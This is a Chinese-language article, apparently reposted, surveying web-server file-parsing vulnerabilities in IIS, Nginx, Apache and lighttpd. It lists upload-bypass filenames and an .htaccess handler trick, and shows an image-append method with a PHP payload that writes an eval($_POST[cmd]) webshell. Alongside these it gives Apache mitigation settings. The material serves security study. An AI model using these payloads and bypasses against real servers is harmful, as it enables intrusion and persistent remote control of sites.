IIS 6.0/7.0/7.5、Nginx、Apache 等Web Service解析漏洞總結


[+]IIS 6.0

目錄解析:/xx.asp/xx.jpg  xx.jpg可替換為任意文本文件(e.g. xx.txt),文本內容為后門代碼

IIS6.0 會將 xx.jpg 解析為 asp 文件。

后綴解析:/xx.asp;.jpg     /xx.asp:.jpg(此處需抓包修改文件名)

IIS6.0 都會把此類后綴文件成功解析為 asp 文件。

(IIS6.0解析漏洞的成因,可以查閱羅哥寫的一篇短文:IIS文件名解析漏洞扼要分析

{/xx.asp:.jpg 此類文件在Windows下不允許存在,:.jpg被自動除去,剩下/xx.asp}

(發現錯誤,並不是不允許存在,這種路徑叫做“NTFS數據流”,具體見:IIS6使用冒號上傳漏洞,發現IIS6漏洞(上傳利用) 底下的評論)

默認解析:/xx.asa    /xx.cer   /xx.cdx

IIS6.0 默認的可執行文件除了 asp 還包含這三種

(這種主要是由於在 IIS 默認配置中,這幾個后綴默認由 asp.dll 來解析,所以執行權限和 .asp 一摸一樣,你可在配置中自行刪除該后綴,以防止安全隱患)

此處可聯系利用目錄解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

[+]IIS 7.0/IIS 7.5/Nginx <=0.8.37

IIS 7.0/IIS 7.5/Nginx <=0.8.37

在默認Fast-CGI開啟狀況下,在一個文件路徑(/xx.jpg)后面加上/xx.php會將 /xx.jpg/xx.php 解析為 php 文件。

常用利用方法: 將一張圖和一個寫入后門代碼的文本文件合並 將惡意文本寫入圖片的二進制代碼之后,避免破壞圖片文件頭和尾

e.g.  copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二進制[binary]模式

/a 即ascii模式 xx.jpg正常圖片文件

yy.txt 內容 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

意思為寫入一個內容為 <?php eval($_POST[cmd])?> 名稱為shell.php的文件

######################################

找個地方上傳 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可執行惡意文本。

然后就在圖片目錄下生成一句話木馬 shell.php 密碼 cmd

[+]Nginx <=0.8.37

在Fast-CGI關閉的情況下,Nginx <=0.8.37 依然存在解析漏洞

在一個文件路徑(/xx.jpg)后面加上%00.php會將 /xx.jpg%00.php 解析為 php 文件。

(站長評論:從 /test.jpg/x.php 演變過來的,具體可以參考:Ngnix 空字節可遠程執行代碼漏洞)

[+]Apache

后綴解析:test.php.x1.x2.x3

Apache將從右至左開始判斷后綴,若x3非可識別后綴,再判斷x2,直到找到可識別后綴為止,然后將該可識別后綴進解析

test.php.x1.x2.x3 則會被解析為php

經驗之談:php|php3|phtml 多可被Apache解析

(關於 apache 解析漏洞可以查閱“Apache 漏洞之后綴名解析漏洞”)

Apache解析漏洞詳解(文章轉自milantgh窗含西嶺千秋雪大佬的博客)

很多次聽到人說apache的“解析漏洞”了,正好今天又有人問,那就簡單科普一下這個“解析漏洞”是何物。

先來看測試過程和結果的對比吧。

結果一

首先,我安裝了apache 2.x版本,同時以module方式使apache與php結合,測試發現確實存在這樣的解析漏洞。

1.png

結果二

然后,我將apache與php的結合方式修改為fastcgi方式,測試發現爆500錯誤,不存在這樣的解析漏洞。

2.png

錯誤提示:

1Bad file descriptor: mod_fcgid: don't know how to spawn child process: f4ck.php.x

意思就是不知道該如何解析這個文件。

結果出來了,那么對於影響范圍這塊,在目前所有的apache版本中均存在此問題,但只適用於以module方式解析php的apache,使用fastcgi方式解析php的apache不受影響,使用cgi方式解析php的apache是否影響未測試。

下面來簡單分享一下測試過程中我發現的一點經驗。

先來看一下apache的主配置文件httpd.conf,搜索“DefaultType”,就可以看到這么一段注釋和默認配置:

#
# DefaultType: the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain" is
# a good value. If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream" instead to
# keep browsers from trying to display binary files as though they are
# text.
#10DefaultType text/plain

DefaultType存在的意義是告訴apache該如何處理未知擴展名的文件,比如f4ck.xxx這樣的文件,擴展名是xxx,這肯定不是一個正常的網頁或腳本文件,這個參數就是告訴apache該怎么處理這種未知擴展名的文件。

參數DefaultType的默認值是“text/plain”,也就是遇到未知擴展名的文件,就把它當作普通的txt文本或html文件來處理。

測試一

比如我將以下代碼保存為f4ck.xxx:

1F4ckTeam apache test

訪問它,按照默認的apache配置,這個文件是會被瀏覽器顯示出來具體效果的:

3.png

這是對於文件內容為HTML代碼的未知擴展名文件來說,文件中的HTML代碼會被瀏覽器執行。

測試二

那么,對於文件內容為php代碼的未知擴展名文件來說,這些php代碼會被解析嗎?

來看測試結果:

4.png

可以看到,這里包含php代碼的未知擴展名的文件被當作txt文檔處理了。

但是,如果將文件名改為f4ck.php.xxx,那么就會被以module方式運行php的apache解析,為什么?

因為Apache認為一個文件可以擁有多個擴展名,哪怕沒有文件名,也可以擁有多個擴展名。Apache認為應該從右到左開始判斷解析方法的。如果最右側的擴展名為不可識別的,就繼續往左判斷,直到判斷到文件名為止。

官方解釋見:http://httpd.apache.org/docs/current/mod/directive-dict.html,搜索“extension”即可看到。

摘錄官方解釋:

extension

In general, this is the part of the filename which follows the last dot. However, Apache recognizes multiple filename extensions, so if a filename contains more than one dot, each dot-separated part of the filename following the first dot is an extension. For example, the filename file.html.en contains two extensions: .html and .en. For Apache directives, you may specify extensions with or without the leading dot. In addition, extensions are not case sensitive.

那么,對於“測試一”和“測試二”來說,apache發現這個文件的擴展名是未知的,那么它會先看在擴展名之前是否有其他的可識別的擴展名,但是該 案例中的完整文件名為“f4ck.xxxx”,在擴展名“xxxx”之前沒有其他的可識別擴展名了,所以apache就按照httpd.conf中參數 DefaultType的值來決定該文件的處理方式,即作為txt文檔處理。

同樣的,對於“結果一”和“結果二”來說,也是按照這樣的方式來逐步確定未知擴展名文件的解析方式,首先apache發現這個文件的擴展名是未知 的,那么它會先看在擴展名之前是否有其他的可識別的擴展名,在該案例中的完整文件名為“f4ck.php.x”,那么apache就發現在未知擴展名 “x”之前有一個可識別的擴展名是“php”,那么apache就會認為這是一個php文件,就會把這個文件按照解析php文件的方式來解析。

說到這里,就不得不提一下,apache對於擴展名的定義都是寫在conf/mime.types文件中的,看一下圖:

5.png

文件mime.types定義了apache處理不同擴展名文件的方法,文件httpd.conf中參數DefaultType的值定義了apache處理未知擴展名文件的方法。

另外,文件httpd.conf中語句塊“”中可以用“AddType”語句來定義apache解析不同擴展名文件的方法。

處理和解析是完全不同的概念,這就好像對於apache+php結合的網站來說,apache是應用服務器,php是中間件,apache只負責接 收/響應HTTP請求,php卻負責.php文件的解釋執行。Php將.php文件解釋執行完畢后,將生成的HTML代碼發送給apache,再由 apache將HTML代碼發送給客戶端。

另外說一下,擴展名rar並沒有在文件mime.types中出現,所以如果遇到可以上傳rar文件且與php的結合方式為module方式的apache,則可以直接上傳類似“f4ck.php.rar”的文件來獲得webshell。

解決方案一

在httpd.conf或httpd-vhosts.conf中加入以下語句,從而禁止文件名格式為*.php.*的訪問權限:

<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>

解決方案二

如果需要保留文件名,可以修改程序源代碼,替換上傳文件名中的“.”為“_”:

$filename = str_replace('.', '_', $filename);

如果不需要保留文件名,可以修改程序源代碼,將上傳文件名重命名為時間戳+隨機數的格式。

總結:網上說的“低版本的apache存在未知擴展名解析漏洞”的說法是錯誤的,正確的說法應該是使用module模式與php結合的所有版本 apache存在未知擴展名解析漏洞,使用fastcig模式與php結合的所有版本apache不存在此漏洞。並且,想利用此漏洞必須保證文件擴展名中 至少帶有一個“.php”,否則將默認被作為txt/html文檔處理。

[+]其他一些可利用的

在windows環境下,xx.jpg[空格] 或xx.jpg. 這兩類文件都是不允許存在的,若這樣命名,windows會默認除去空格或點,這也是可以被利用的!

在向一台windows主機上傳數據時,你可以抓包修改文件名,在后面加個空格或點,試圖繞過黑名單,若上傳成功,最后的點或空格都會被消除,這樣就可得到shell。

我記得Fck Php 2.6就存在加空格繞過的漏洞。{Linux主機中不行,Linux允許這類文件存在}

如果在Apache中.htaccess可被應用(Apache的配置文件httpd.conf中對目錄的AllowOverride設置為All時,apache會應用目錄下.htaccess中的配置 By sfasfas),

且可以被上傳,那可以嘗試在.htaccess中寫入:

<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>

shell.jpg換成你上傳的文件,這樣shell.jpg就可解析為php文件

[+]lighttpd

xx.jpg/xx.php


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM